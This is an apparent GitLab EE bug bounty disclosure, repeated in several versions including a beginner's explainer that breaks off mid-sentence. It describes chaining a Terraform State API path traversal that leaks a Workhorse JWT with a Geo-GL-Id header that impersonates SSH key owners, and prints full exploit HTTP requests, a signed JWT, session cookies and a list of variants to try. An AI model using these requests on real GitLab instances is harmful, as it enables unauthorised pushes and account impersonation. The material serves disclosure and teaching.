Exposure of a valid Gitlab-Workhorse JWT leading to various bad things
A path traversal in the Terraform state API could write a file to a wiki attachment location and read it back, potentially exposing a Workhorse JWT. With this JWT and a crafted Geo header, an attacker might bypass access controls and push to a readable repository.
Originally disclosed on HackerOne
- Triaged in 4 days
- Fixed in 5 months
- Paid in 4 days
- Disclosed after 19 months
Summary
Using the State Uploading API we could potentially do a bad thing:
- Bypass
Gitlab::Workhorse.verify_api_request!
This was due to the fact that Workhorse clean the URL before passing it to Rails, this is elaborated in #923027.
and State Api read request.body to append it as a file!
lib/api/terraform/state.rb
desc 'Add a new terraform state or update an existing one'
route_setting :authentication, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth
post do
authorize! :admin_terraform_state, user_project
data = request.body.read
There is one very interestingly specific exploit which I've found in my researching on Geo is to un-authorizing push to any readable repository Since Gitlab has a pre-receive hook which check the permission even if attacker is able to bypass the Access Control in Rails part but here is pretty interesting stuff in EE:
ee/app/controllers/ee/repositories/git_http_controller.rb
def user
super || geo_push_user&.user
end
def geo_push_user
@geo_push_user ||= ::Geo::PushUser.new_from_headers(request.headers)
end
Which mean the user for passing to Gitaly will be user from geo_push_user
def self.new_from_headers(headers)
return unless needed_headers_provided?(headers)
new(headers['Geo-GL-Id'])
end
def user
@user ||= identify_using_ssh_key(gl_id)
end
Tracing from this we will reach here
def identify_using_ssh_key(identifier)
key_id = identifier.gsub("key-", "")
identify_with_cache(:ssh_key, key_id) do
User.find_by_ssh_key_id(key_id)
end
end
This means: I am able to authenticate as any SSH-KEY by just passing the ID of the Key to headers Geo-GL-Id
Steps to reproduce
Spliting into 2 parts, GEO is not neccessary for the PoC but EE Plan should be.
Exposing Gitlab JWT
- Set up an Project
- Get a Personal Access Token of the user
- Send the following request
POST /api/v4/projects/<project-id>/terraform/state/%2e%2e%2f%2e%2e%2fwikis%2fattachments?serial=1 HTTP/1.1
Host: gitlab3.example.vm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Private-Token: <private-token>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTdc8IV2vpQMwv6jW
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqZzBOVE14T1RWbUxXRTBZalF0TkRBek1pMWhaVGRpTFRNM05tSTBNalExWlRjNVl5ST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--64479e11c45d9e17bdf950f749ab3fa8b3ee278a; _gitlab_session=b50156c1d05716e1bebbfd448f38b890; known_sign_in=SkJhSDV0MWRqaFAyaFpZQlNCM3Vqbmg5UkxsZ0hyTHVWSlNPanNZT2YxbVQ4M2xvaUxLNkZabE9zeHdZOHlFQnloTWJxWGdPMWtKbUlkV25TNGFHRFFQVDlpdTRtUFpnTnZyd2xCTk5sS2hNRVBmODEvc2RiYVovT2RjTWgzWFQtLTY4ZEl1bXA4ZnVETVFrYnUrZVhaR1E9PQ%3D%3D--34ce6946f382229b6135333906ad3fd10ecbb284; sidebar_collapsed=false; event_filter=all
Upgrade-Insecure-Requests: 1
Content-Length: 316
------WebKitFormBoundaryTdc8IV2vpQMwv6jW
Content-Disposition: form-data; name="import_url"
http://gitlab3.example.vm/test/ttt
------WebKitFormBoundaryTdc8IV2vpQMwv6jW
Content-Disposition: form-data; name="mirror"; filename=test.txt
Content-Type: image/jpg
true
------WebKitFormBoundaryTdc8IV2vpQMwv6jW--
- Later on send the following request
GET /api/v4/projects/6/terraform/state/%2e%2e%2f%2e HTTP/1.1
Host: gitlab3.example.vm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Private-Token: <Private-Token>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqZzBOVE14T1RWbUxXRTBZalF0TkRBek1pMWhaVGRpTFRNM05tSTBNalExWlRjNVl5ST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--64479e11c45d9e17bdf950f749ab3fa8b3ee278a; _gitlab_session=b50156c1d05716e1bebbfd448f38b890; known_sign_in=SkJhSDV0MWRqaFAyaFpZQlNCM3Vqbmg5UkxsZ0hyTHVWSlNPanNZT2YxbVQ4M2xvaUxLNkZabE9zeHdZOHlFQnloTWJxWGdPMWtKbUlkV25TNGFHRFFQVDlpdTRtUFpnTnZyd2xCTk5sS2hNRVBmODEvc2RiYVovT2RjTWgzWFQtLTY4ZEl1bXA4ZnVETVFrYnUrZVhaR1E9PQ%3D%3D--34ce6946f382229b6135333906ad3fd10ecbb284; sidebar_collapsed=false; event_filter=all
Upgrade-Insecure-Requests: 1
You will then receive something like this which the JWT is in mirror.gitlab-workhorse-upload parameter
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 22 Nov 2020 17:45:01 GMT
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Etag: W/"2db9b0c1229e01c96956b4ed4ed32f3d"
Vary: Origin
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Request-Id: wNp4wblZQ42
X-Runtime: 0.119849
Strict-Transport-Security: max-age=31536000
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 2540
--066cee44c4789c36d4ad90b076a0073a796e913814dc64d9afb57f77869a
Content-Disposition: form-data; name="import_url"
http://gitlab3.example.vm/test/ttt
--066cee44c4789c36d4ad90b076a0073a796e913814dc64d9afb57f77869a
Content-Disposition: form-data; name="mirror.name"
test.txt
--066cee44c4789c36d4ad90b076a0073a796e913814dc64d9afb57f77869a
Content-Disposition: form-data; name="mirror.path"
/opt/gitlab/embedded/service/gitlab-rails/public/uploads/tmp/test.txt403239251
--066cee44c4789c36d4ad90b076a0073a796e913814dc64d9afb57f77869a
Content-Disposition: form-data; name="mirror.md5"
b326b5062b2f0e69046810717534cb09
--066cee44c4789c36d4ad90b076a0073a796e913814dc64d9afb57f77869a
Content-Disposition: form-data; name="mirror.sha256"
b5bea41b6c623f7c09f1bf24dcae58ebab3c0cdd90ad966bc43a45b44867e12b
--066cee44c4789c36d4ad90b076a0073a796e913814dc64d9afb57f77869a
Content-Disposition: form-data; name="mirror.gitlab-workhorse-upload"
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cGxvYWQiOnsibWQ1IjoiYjMyNmI1MDYyYjJmMGU2OTA0NjgxMDcxNzUzNGNiMDkiLCJuYW1lIjoidGVzdC50eHQiLCJwYXRoIjoiL29wdC9naXRsYWIvZW1iZWRkZWQvc2VydmljZS9naXRsYWItcmFpbHMvcHVibGljL3VwbG9hZHMvdG1wL3Rlc3QudHh0NDAzMjM5MjUxIiwicmVtb3RlX2lkIjoiIiwicmVtb3RlX3VybCI6IiIsInNoYTEiOiI1ZmZlNTMzYjgzMGYwOGEwMzI2MzQ4YTkxNjBhZmFmYzhhZGE0NGRiIiwic2hhMjU2IjoiYjViZWE0MWI2YzYyM2Y3YzA5ZjFiZjI0ZGNhZTU4ZWJhYjNjMGNkZDkwYWQ5NjZiYzQzYTQ1YjQ0ODY3ZTEyYiIsInNoYTUxMiI6IjkxMjBjZDVmYWVmMDdhMDhlOTcxZmYwMjRhM2ZjYmVhMWUzYTZiNDQxNDJhNmQ4MmNhMjhjNmM0MmU0Zjg1MjU5NWJjZjUzZDgxZDc3NmYxMDU0MTA0NWFiZGI3YzM3OTUwNjI5NDE1ZDBkYzY2YzhkODZjNjRhNTYwNmQzMmRlIiwic2l6ZSI6IjQifSwiaXNzIjoiZ2l0bGFiLXdvcmtob3JzZSJ9.xvDjfRCxUK1bfLyM97sxiORbKmGLBr5Tte2c7ywSGz0
--066cee44c4789c36d4ad90b076a0073a796e913814dc64d9afb57f77869a
Content-Disposition: form-data; name="mirror.remote_id"
--066cee44c4789c36d4ad90b076a0073a796e913814dc64d9afb57f77869a
Content-Disposition: form-data; name="mirror.size"
4
--066cee44c4789c36d4ad90b076a0073a796e913814dc64d9afb57f77869a
Content-Disposition: form-data; name="mirror.remote_url"
--066cee44c4789c36d4ad90b076a0073a796e913814dc64d9afb57f77869a
Content-Disposition: form-data; name="mirror.sha512"
9120cd5faef07a08e971ff024a3fcbea1e3a6b44142a6d82ca28c6c42e4f852595bcf53d81d776f10541045abdb7c37950629415d0dc66c8d86c64a5606d32de
--066cee44c4789c36d4ad90b076a0073a796e913814dc64d9afb57f77869a
Content-Disposition: form-data; name="mirror.sha1"
5ffe533b830f08a0326348a9160afafc8ada44db
--066cee44c4789c36d4ad90b076a0073a796e913814dc64d9afb57f77869a--
Take note of this value
Unauthorizing push to readable project Assuming:
User B has Project B set public or internal without any user can push. User B upload an SSH-KEY.
- Login as another user.
- Navigate to project B that you don't have the push access.
- Fork the project
- Clone the forked project using HTTP
- Push any file to the Project but intercept the request
When sending the request to <project-forked-path>.git/git-receive-pack
Change the path from <project-forked-path>.git/git-receive-pack to /-/push_from_secondary/2/<project-path>.git/git-upload-pack.t%2f%2e%2e%2fgit-receive-pack
Adding the Gitlab-Workhorse-Api-Request Header with the value is the value noted in the first part
Adding the Geo-GL-Id with the value key-<id> with <id> as the ID of any key of a user who has push access to the project which is user B, This could be brute-forced as it is incremental integer from 1.
The request should look likes
POST /-/push_from_secondary/2/rrr/dsds.git/git-upload-pack.t%2f%2e%2e%2fgit-receive-pack HTTP/1.1
Host: gitlab3.example.vm
Geo-GL-Id: key-1
User-Agent: git/2.28.0
Accept-Encoding: gzip, deflate
Gitlab-Workhorse-Api-Request: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cGxvYWQiOnsibWQ1IjoiYjMyNmI1MDYyYjJmMGU2OTA0NjgxMDcxNzUzNGNiMDkiLCJuYW1lIjoidGVzdC50eHQiLCJwYXRoIjoiL29wdC9naXRsYWIvZW1iZWRkZWQvc2VydmljZS9naXRsYWItcmFpbHMvcHVibGljL3VwbG9hZHMvdG1wL3Rlc3QudHh0NDAzMjM5MjUxIiwicmVtb3RlX2lkIjoiIiwicmVtb3RlX3VybCI6IiIsInNoYTEiOiI1ZmZlNTMzYjgzMGYwOGEwMzI2MzQ4YTkxNjBhZmFmYzhhZGE0NGRiIiwic2hhMjU2IjoiYjViZWE0MWI2YzYyM2Y3YzA5ZjFiZjI0ZGNhZTU4ZWJhYjNjMGNkZDkwYWQ5NjZiYzQzYTQ1YjQ0ODY3ZTEyYiIsInNoYTUxMiI6IjkxMjBjZDVmYWVmMDdhMDhlOTcxZmYwMjRhM2ZjYmVhMWUzYTZiNDQxNDJhNmQ4MmNhMjhjNmM0MmU0Zjg1MjU5NWJjZjUzZDgxZDc3NmYxMDU0MTA0NWFiZGI3YzM3OTUwNjI5NDE1ZDBkYzY2YzhkODZjNjRhNTYwNmQzMmRlIiwic2l6ZSI6IjQifSwiaXNzIjoiZ2l0bGFiLXdvcmtob3JzZSJ9.xvDjfRCxUK1bfLyM97sxiORbKmGLBr5Tte2c7ywSGz0
Content-Type: application/x-git-receive-pack-request
Accept: application/x-git-receive-pack-result
Content-Length: 436
Connection: close
00a822cc76ea883341147a10ad83f9994bb9a89d79d9 02c1e26f4d449d265e87e2906933ff0a2a5f275d refs/heads/master report-status side-band-64k object-format=sha1 agent=git/2.28.00000PACK
xËA
B!н§póõ;Dtö-gt¢ óc
uûºBÛotU[" q(IYЫEsE¨dÌ(´*Ù¸ësØeÉ£rJÞ
KòW"
"Ä
R!ÃsÜZ·6»=sU{ø´yÒ7×í¡ûÜêÑBtÑ!ø°ÚCçÌOë}
ý³¡¯a¾kå=ÕúsVOæme²6
Az^×ÿÜTx*Õÿ»Ó lll2332.txt¨'FÛN^ÁÎZÐpå}Í"¶Ü¿³ÐÌHt!4x+))á"gøÈÎ.LG^gßygßÿ
æ5,
Video: Sorry had to tone down the size because of 256 mb limit :(
###Results of GitLab environment info
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.6p146
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.9
Git Version: 2.28.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.5.3-ee
Revision: b9d194b6b91
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.9
URL: http://gitlab.example.vm
HTTP Clone URL: http://gitlab.example.vm/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.11.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
Unauthorized push to repositories, exposing Workhorse JWT
Context
GitLab Workhorse is the component that sits in front of the Rails application and handles large uploads and Git HTTP traffic. To let Rails trust requests that Workhorse has already processed, Workhorse signs them with a JWT, and Rails calls Gitlab::Workhorse.verify_api_request! to check that signature. The Terraform State API (lib/api/terraform/state.rb) lets a user with a personal access token add or update a Terraform state for a project. The report shows how that API can be abused to obtain a valid Workhorse JWT, and then how that JWT, combined with a header used by GitLab Geo, can be used to push to a repository the attacker cannot normally write to.
The researcher notes that the second part requires the EE (Enterprise Edition) plan, while Geo itself is not necessary for the proof of concept.
Setup
The proof of concept was run against a GitLab instance reporting version 13.5.3-ee. The environment information given in the report is:
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.6p146
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.9
Git Version: 2.28.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.5.3-ee
Revision: b9d194b6b91
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.9
URL: http://gitlab.example.vm
HTTP Clone URL: http://gitlab.example.vm/some-group/some-project.git
SSH Clone URL: [redacted]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.11.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
For the first part you need a project and a personal access token belonging to a user. For the second part the report assumes two users: User B owns a project that is public or internal and that nobody else can push to, and User B has uploaded an SSH key. The attacker logs in as a different user who has no push access to that project.
Finding it
The starting point is the Terraform State API. The route reads the raw request body and appends it as a file:
lib/api/terraform/state.rb
desc 'Add a new terraform state or update an existing one'
route_setting :authentication, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth
post do
authorize! :admin_terraform_state, user_project
data = request.body.read
Because Workhorse cleans the URL before passing it to Rails, and because this endpoint reads request.body and stores it as a file, the researcher found that the State Uploading API could be used to bypass Gitlab::Workhorse.verify_api_request!. The URL-cleaning behaviour is discussed in a separate issue referenced in the report as #923027.
The second observation comes from the EE Git HTTP controller. GitLab has a pre-receive hook that checks permissions even if the Rails access control is bypassed, but the EE controller has an extra path for Geo:
ee/app/controllers/ee/repositories/git_http_controller.rb
def user
super || geo_push_user&.user
end
def geo_push_user
@geo_push_user ||= ::Geo::PushUser.new_from_headers(request.headers)
end
This means the user passed to Gitaly can come from geo_push_user:
def self.new_from_headers(headers)
return unless needed_headers_provided?(headers)
new(headers['Geo-GL-Id'])
end
def user
@user ||= identify_using_ssh_key(gl_id)
end
Tracing further:
def identify_using_ssh_key(identifier)
key_id = identifier.gsub("key-", "")
identify_with_cache(:ssh_key, key_id) do
User.find_by_ssh_key_id(key_id)
end
end
The consequence the researcher draws is that an attacker can authenticate as the owner of any SSH key simply by passing that key's ID in the Geo-GL-Id header.
Exploitation
The exploit is split into two parts.
Step 1: Exposing the GitLab Workhorse JWT
- Set up a project.
- Get a personal access token of the user.
- Send the following request:
POST /api/v4/projects/<project-id>/terraform/state/%2e%2e%2f%2e%2e%2fwikis%2fattachments?serial=1 HTTP/1.1
Host: gitlab3.example.vm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Private-Token: <private-token>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----[redacted]
Cookie: experimentation_subject_id=[redacted]; _gitlab_session=[redacted]; known_sign_in=[redacted]; sidebar_collapsed=false; event_filter=all
Upgrade-Insecure-Requests: 1
Content-Length: 316
------[redacted]
Content-Disposition: form-data; name="import_url"
http://gitlab3.example.vm/test/ttt
------[redacted]
Content-Disposition: form-data; name="mirror"; filename=test.txt
Content-Type: image/jpg
true
------[redacted]--
The path contains encoded traversal sequences (%2e%2e%2f) and the multipart body carries a file part named mirror with the content true. The request is authenticated with the Private-Token header.
- Later, send the following request:
GET /api/v4/projects/6/terraform/state/%2e%2e%2f%2e HTTP/1.1
Host: gitlab3.example.vm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Private-Token: <Private-Token>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: experimentation_subject_id=[redacted]; _gitlab_session=[redacted]; known_sign_in=[redacted]; sidebar_collapsed=false; event_filter=all
Upgrade-Insecure-Requests: 1
The response contains the JWT in the mirror.gitlab-workhorse-upload parameter:
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 22 Nov 2020 17:45:01 GMT
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Etag: W/"[redacted]"
Vary: Origin
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Request-Id: wNp4wblZQ42
X-Runtime: 0.119849
Strict-Transport-Security: max-age=31536000
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 2540
--[redacted]
Content-Disposition: form-data; name="import_url"
http://gitlab3.example.vm/test/ttt
--[redacted]
Content-Disposition: form-data; name="mirror.name"
test.txt
--[redacted]
Content-Disposition: form-data; name="mirror.path"
/opt/gitlab/embedded/service/gitlab-rails/public/uploads/tmp/test.txt403239251
--[redacted]
Content-Disposition: form-data; name="mirror.md5"
[redacted]
--[redacted]
Content-Disposition: form-data; name="mirror.sha256"
[redacted]
--[redacted]
Content-Disposition: form-data; name="mirror.gitlab-workhorse-upload"
[redacted]
--[redacted]
Content-Disposition: form-data; name="mirror.remote_id"
--[redacted]
Content-Disposition: form-data; name="mirror.size"
4
--[redacted]
Content-Disposition: form-data; name="mirror.remote_url"
--[redacted]
Content-Disposition: form-data; name="mirror.sha512"
[redacted]
--[redacted]
Content-Disposition: form-data; name="mirror.sha1"
[redacted]
--[redacted]--
The value of mirror.gitlab-workhorse-upload is the JWT to keep for the second part.
Step 2: Unauthorised push to a readable project
Assuming User B has a project that is public or internal with no other user able to push, and User B has uploaded an SSH key:
- Log in as another user.
- Navigate to project B, to which you do not have push access.
- Fork the project.
- Clone the forked project over HTTP.
- Push any file to the project, but intercept the request.
When sending the request to <project-forked-path>.git/git-receive-pack, change the path to /-/push_from_secondary/2/<project-path>.git/git-upload-pack.t%2f%2e%2e%2fgit-receive-pack, add the Gitlab-Workhorse-Api-Request header with the JWT noted in the first part, and add the Geo-GL-Id header with the value key-<id>, where <id> is the ID of any key belonging to a user who has push access to the project (User B). The report notes this ID could be brute-forced because it is an incremental integer starting from 1. The request should look like this:
POST /-/push_from_secondary/2/rrr/dsds.git/git-upload-pack.t%2f%2e%2e%2fgit-receive-pack HTTP/1.1
Host: gitlab3.example.vm
Geo-GL-Id: key-1
User-Agent: git/2.28.0
Accept-Encoding: gzip, deflate
Gitlab-Workhorse-Api-Request: [redacted]
Content-Type: application/x-git-receive-pack-request
Accept: application/x-git-receive-pack-result
Content-Length: 436
Connection: close
[redacted] [redacted] refs/heads/master report-status side-band-64k object-format=sha1 agent=git/2.28.00000PACKxËa
B!н§póõ;Dtö-gt¢ óc
uûºBÛotU[" q(IYЫEsE¨dÌ(´*Ù¸ësØeÉ£rJÞKòW"
"Ä
R!ÃsÜZ·6»=sU{ø´yÒ7×í¡ûÜêÑBtÑ!ø°ÚCçÌOë}ý³¡¯a¾kå=ÕúsVOæme²6
Az^×ÿÜTx*Õÿ»Ó lll2332.txt¨'FÛN^ÁÎZÐpå}Í"¶Ü¿³ÐÌHt!4x+))á"gøÈÎ.LG^gßygßÿ
æ5,
The path uses the push_from_secondary route with an encoded traversal (t%2f%2e%2e%2f) so that the request that starts as a git-upload-pack reaches git-receive-pack. The Gitlab-Workhorse-Api-Request header carries the JWT from the first part. The Geo-GL-Id header selects the user for Gitaly through the Geo push user path, so the push is attributed to the owner of the referenced SSH key rather than to the logged-in attacker.
The report also includes a video of the exploitation. The researcher notes it was reduced in size because of a 256 MB limit.
Root cause
Two weaknesses combine. First, the Terraform State API reads request.body and appends it as a file, and because Workhorse cleans the URL before passing it to Rails, the state endpoint can be reached through a path that ends up storing attacker-controlled multipart content. The stored upload metadata, including the Workhorse-signed JWT in mirror.gitlab-workhorse-upload, can then be read back through a second traversal request. That gives the attacker a valid Workhorse JWT without going through the normal upload flow.
Second, the EE Git HTTP controller falls back to geo_push_user when the normal user is not present, and Geo::PushUser.new_from_headers builds that user from the Geo-GL-Id header alone, resolving it with User.find_by_ssh_key_id.
Impact
The report states the impact as unauthorised push to repositories and exposure of the Workhorse JWT. The push part depends on the EE plan; Geo itself is not required for the proof of concept. The key ID space is incremental from 1, so the report treats brute force as feasible.
Fix
The report does not describe the fix that was applied.
Variants to test
- Try the same traversal pattern on other API endpoints that read
request.bodyand store it as a file, looking for responses that echo back upload metadata containing agitlab-workhorse-uploadJWT. - On EE instances, send
Geo-GL-Id: key-<n>on Git HTTP routes and check whether the request is attributed to the key owner rather than the session user. - Try the
push_from_secondaryroute with encoded traversal in the path to see whether agit-upload-packrequest can be turned into agit-receive-packrequest. - Enumerate low SSH key IDs against a project you cannot push to and watch for a successful receive-pack result.
Hunting notes
This kind of bug tends to hide where a component in front of the application rewrites or cleans URLs and the backend then trusts the cleaned path, and where a feature-specific authentication path (here the Geo push user) resolves identity from a header instead of the session. During recon, look for EE-only routes such as push_from_secondary, for endpoints that return upload metadata including signed tokens, and for any code path that maps a header value directly to a user lookup. The researcher chained the JWT exposure with a push to a project the attacker could not write to.
What happened, in plain words
GitLab is a website where teams keep their source code and work on it together. Like any large website, it is built from several pieces that talk to each other. One piece, called GitLab Workhorse, sits at the front door and handles big file uploads and the traffic that happens when you push code with Git. Behind it sits the main application, written in a framework called Rails, which does the actual thinking: who are you, are you allowed to do this, and so on.
Because Workhorse is the one that receives uploads, Rails needs a way to know that a request really did come through Workhorse and was not forged by someone else. Workhorse solves this by attaching a JWT to the request. A JWT (JSON Web Token) is a small string of text that is signed with a secret key, a bit like a wax seal on an envelope: anyone can read the letter, but only the person holding the stamp can make a valid seal. Rails checks that seal with a function called Gitlab::Workhorse.verify_api_request!. If the seal is valid, Rails trusts the request.
The report describes two separate weaknesses that, chained together, let an attacker do things they should not be able to do:
- A way to make GitLab hand back a valid Workhorse JWT to the attacker, using the Terraform State API.
- A way to use that JWT, plus a special header meant for GitLab's Geo feature, to push code into a repository the attacker has no write access to.
The researcher notes that the second part needs the EE (Enterprise Edition) plan of GitLab, but that Geo itself does not have to be switched on for the proof of concept to work.
Some background before we start
A few ideas come up again and again, so it is worth meeting them now.
- API: an API is a way for one program to talk to another over the web, without a human clicking buttons. Think of it as the service counter at a shop: you hand over a specific request in a specific format, and you get a specific answer back. GitLab's API lives under paths that start with
/api/v4/. - Personal access token: a long random string that acts like a password for the API. You create one in your account settings and paste it into a request header instead of logging in through a browser. If someone else gets your token, they can act as you through the API.
- Header: extra pieces of information sent alongside a web request, like the label on a parcel.
Private-Token,CookieandGeo-GL-Idin this report are all headers. - Cookie: a small piece of data your browser stores for a website so the site can remember who you are between requests. The
_gitlab_sessioncookie is what keeps you logged in. - URL encoding: some characters cannot appear literally in a URL, so they are written as a percent sign followed by two hex digits.
%2eis a dot (.),%2fis a slash (/). So%2e%2e%2fdecodes to../, which in a file path means "go up one folder". This is called path traversal, and it is a classic way to make a web server read or write somewhere it did not intend. - Multipart form data: the format a browser uses when you upload a file through a form. The body of the request is split into parts, each with its own name and content, separated by a random-looking boundary string.
- Fork: a personal copy of someone else's project. You can change your fork freely, but you cannot change the original unless you have been given permission.
- Push: sending your local commits up to the GitLab server so others can see them. Git uses two commands under the hood:
git-upload-packwhen you fetch or clone (reading), andgit-receive-packwhen you push (writing). - SSH key: a pair of cryptographic keys used to prove who you are without a password. GitLab stores each uploaded key with a numeric ID.
- Gitaly: the part of GitLab that actually stores and serves the Git repositories on disk.
- Pre-receive hook: a check that runs on the server just before a push is accepted. GitLab uses one to confirm the person pushing really has permission.
- Geo: a GitLab feature for running a second, read-only copy of the instance in another location. A "secondary" site can forward certain actions to the "primary" site.
- Brute force: trying every possible value in turn until one works. If the values are small numbers, this is quick.
The environment the researcher used
The proof of concept was run against a GitLab instance reporting version 13.5.3-ee. The report includes the full environment information:
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.6p146
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.9
Git Version: 2.28.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.5.3-ee
Revision: b9d194b6b91
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.9
URL: http://gitlab.example.vm
HTTP Clone URL: http://gitlab.example.vm/some-group/some-project.git
SSH Clone URL: [redacted]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.11.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
This block is simply a status dump that GitLab can print about itself. It tells us the operating system, the Ruby version, the Git version, the GitLab version (13.5.3-ee, the Enterprise Edition), the database, and whether optional features such as Elasticsearch, Geo and LDAP are enabled. Here Geo is no, which is why the researcher stresses that Geo is not needed for the proof of concept.
For the first part of the attack you need a project and a personal access token belonging to a user. For the second part the report assumes two users: User B owns a project that is public or internal and that nobody else can push to, and User B has uploaded an SSH key. The attacker logs in as a different user who has no push access to that project.
Finding it
The starting point is the Terraform State API. Terraform is a tool for describing infrastructure (servers, networks and so on) in files, and it keeps a record of what it has built in a file called a "state". GitLab can store that state for you, per project, through an API endpoint. The code for that endpoint looks like this:
lib/api/terraform/state.rb
desc 'Add a new terraform state or update an existing one'
route_setting :authentication, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth
post do
authorize! :admin_terraform_state, user_project
data = request.body.read
Line by line:
desc 'Add a new terraform state or update an existing one'is a human-readable description of what the endpoint does.route_setting :authentication, basic_auth_personal_access_token: true, job_token_allowed: :basic_authsays how callers may authenticate: with a personal access token, or with a job token.post domarks this as the handler for an HTTP POST request, the kind used to send data to a server.authorize! :admin_terraform_state, user_projectchecks that the caller is allowed to manage Terraform state for the project.data = request.body.readreads the raw body of the request and stores it in a variable calleddata. This is the important line: the endpoint takes whatever bytes arrive in the body and treats them as the state file.
Because Workhorse cleans the URL before passing it on to Rails, and because this endpoint reads request.body and stores it as a file, the researcher found that the State Uploading API could be used to bypass Gitlab::Workhorse.verify_api_request!. The researcher found that the State Uploading API could be used to bypass Gitlab::Workhorse.verify_api_request!. The URL-cleaning behaviour is discussed in a separate issue, referenced in the report as #923027.
The second observation comes from the EE Git HTTP controller, the code that handles Git traffic over HTTP. GitLab has a pre-receive hook that checks permissions even if the Rails access control is bypassed, but the EE controller has an extra path for Geo:
ee/app/controllers/ee/repositories/git_http_controller.rb
def user
super || geo_push_user&.user
end
def geo_push_user
@geo_push_user ||= ::Geo::PushUser.new_from_headers(request.headers)
end
Line by line:
def userdefines a method that answers the question "who is making this request?".super || geo_push_user&.userfirst tries the normal answer (super, the parent class's version). If that returns nothing, it falls back togeo_push_user&.user. The&.means "only call the next method if the thing on the left is not empty".def geo_push_userdefines a method that builds that fallback user.@geo_push_user ||= ::Geo::PushUser.new_from_headers(request.headers)remembers the result in an instance variable so it is only computed once, and builds it from the request headers.
So the user passed to Gitaly can come from geo_push_user. Following that thread:
def self.new_from_headers(headers)
return unless needed_headers_provided?(headers)
new(headers['Geo-GL-Id'])
end
def user
@user ||= identify_using_ssh_key(gl_id)
end
Line by line:
def self.new_from_headers(headers)defines a constructor that takes the request headers.return unless needed_headers_provided?(headers)gives up unless the required headers are present.new(headers['Geo-GL-Id'])creates the object using the value of theGeo-GL-Idheader. That header is the only input.def userdefines how to turn that value into a real user.@user ||= identify_using_ssh_key(gl_id)looks the user up by SSH key, using the stored identifier.
And finally:
def identify_using_ssh_key(identifier)
key_id = identifier.gsub("key-", "")
identify_with_cache(:ssh_key, key_id) do
User.find_by_ssh_key_id(key_id)
end
end
Line by line:
